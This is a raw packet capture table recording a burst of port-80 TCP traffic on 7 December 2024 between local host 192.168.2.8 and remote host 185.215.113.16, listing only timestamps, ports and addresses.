Dec 7, 2024 15:06:59.779148102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.779190063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.780056953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.780105114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.780144930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.780196905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.781116009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.781164885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.781219959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.781263113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.782238960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.782290936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.782390118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.782428026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.783363104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.783410072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.783440113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.783476114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.784320116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.784364939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.784439087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.784477949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.785419941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.785475969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.785495996 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.785532951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.786468983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.786521912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.786623001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.786668062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.787563086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.787615061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.787704945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.787748098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.788671970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.788722992 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.788772106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.788810968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.789709091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.789771080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.789789915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.789841890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.789841890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.790777922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.790827036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.790879011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.790921926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.791874886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.791929960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.791969061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.792011023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.792973042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.793020964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.793066025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.793101072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.794116020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.794166088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.794219017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.794260979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.952928066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.953078032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.953082085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.953111887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.953515053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.953566074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.953654051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.953696012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.953819990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.953855991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.954737902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.954773903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.954994917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.955028057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.955796957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.955852032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.970238924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.970427990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.970446110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.970496893 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.970684052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.970700026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.970732927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.970755100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.971437931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.971487999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.971496105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.971534967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.972620964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.972692966 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.972753048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.972800970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.973685980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.973731041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.973763943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.973804951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.974801064 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.974853039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.974980116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.975025892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.975970030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.976018906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.976068974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.976115942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.977108002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.977154016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.977202892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.977247953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.978163958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.978204966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.978209972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.978241920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.979048014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.979094982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.979126930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.979166985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.980046034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.980089903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.980156898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.980201006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.981081009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.981128931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.981236935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.981281996 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.982206106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.982250929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.982362032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.982407093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.983284950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.983357906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.983388901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.983433008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.984344959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.984389067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.984458923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.984503984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.985496998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.985547066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.985573053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.985611916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.986532927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.986579895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.986696959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.986742020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.987576008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.987627983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.987669945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.987710953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.988646030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.988694906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.989072084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.989120960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.989754915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.989800930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.989906073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.989950895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.990782976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.990833044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.990859032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.990906000 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.991858006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.991909981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.992150068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.992197990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.992940903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.992989063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.993068933 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.993113995 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.994014978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.994067907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.994134903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.994179964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.995101929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.995150089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.995210886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.995255947 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.996208906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.996258974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.996496916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.996541977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.997263908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.997309923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.997415066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.997461081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.998327971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.998379946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.998442888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.998491049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.999458075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.999504089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.999512911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.999551058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.000585079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.000634909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.000735998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.000782013 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.001535892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.001583099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.001643896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.001692057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.002846003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.002897978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.003047943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.003093004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.003861904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.003911972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.003943920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.003981113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.004839897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.004863977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.004890919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.004911900 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.005836010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.005891085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.005898952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.005933046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.006968975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.007018089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.007049084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.007093906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.008050919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.008106947 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.008136034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.008179903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.009114981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.009166956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.009188890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.009231091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.010117054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.010169983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.010240078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.010503054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.011221886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.011286974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.011399984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.011488914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.012284040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.012367010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.012378931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.012449980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.013380051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.013430119 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.013465881 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.013509989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.014431953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.014477968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.014550924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.014631033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.015500069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.015573978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.015616894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.015657902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.016604900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.016655922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.016717911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.016767025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.017725945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.017779112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.017818928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.017865896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.018749952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.018804073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.018856049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.018907070 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.019843102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.019897938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.020035028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.020081043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.020957947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.021007061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.021047115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.021091938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.021991014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.022003889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.022049904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.145605087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.145678997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.145726919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.145768881 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.146192074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.146239042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.146301985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.146344900 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.147237062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.147279978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.147361040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.147433043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.148289919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.148336887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.163713932 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.163780928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.163877010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.163919926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.164220095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.164277077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.164278030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.164316893 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.165319920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.165369987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.165451050 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.165499926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.166412115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.166459084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.166562080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.166606903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.167529106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.167573929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.167659044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.167700052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.168612003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.168657064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.168685913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.168728113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.169620991 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.169665098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.169733047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.169776917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.170692921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.170738935 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.170768976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.170825958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.171807051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.171854973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.171889067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.171935081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.172878981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.172923088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.172952890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.172995090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.173953056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.174000025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.174115896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.174160957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.175000906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.175050020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.175122023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.175163984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.176093102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.176209927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.176215887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.176263094 CET	49740	80	192.168.2.8	185.215.113.16
